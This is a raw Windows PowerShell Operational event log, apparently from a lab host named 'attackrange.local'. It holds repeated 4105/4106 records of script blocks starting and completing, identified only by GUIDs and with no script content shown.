Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029643
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029642
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029625
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029619
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029597
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029595
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029594
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
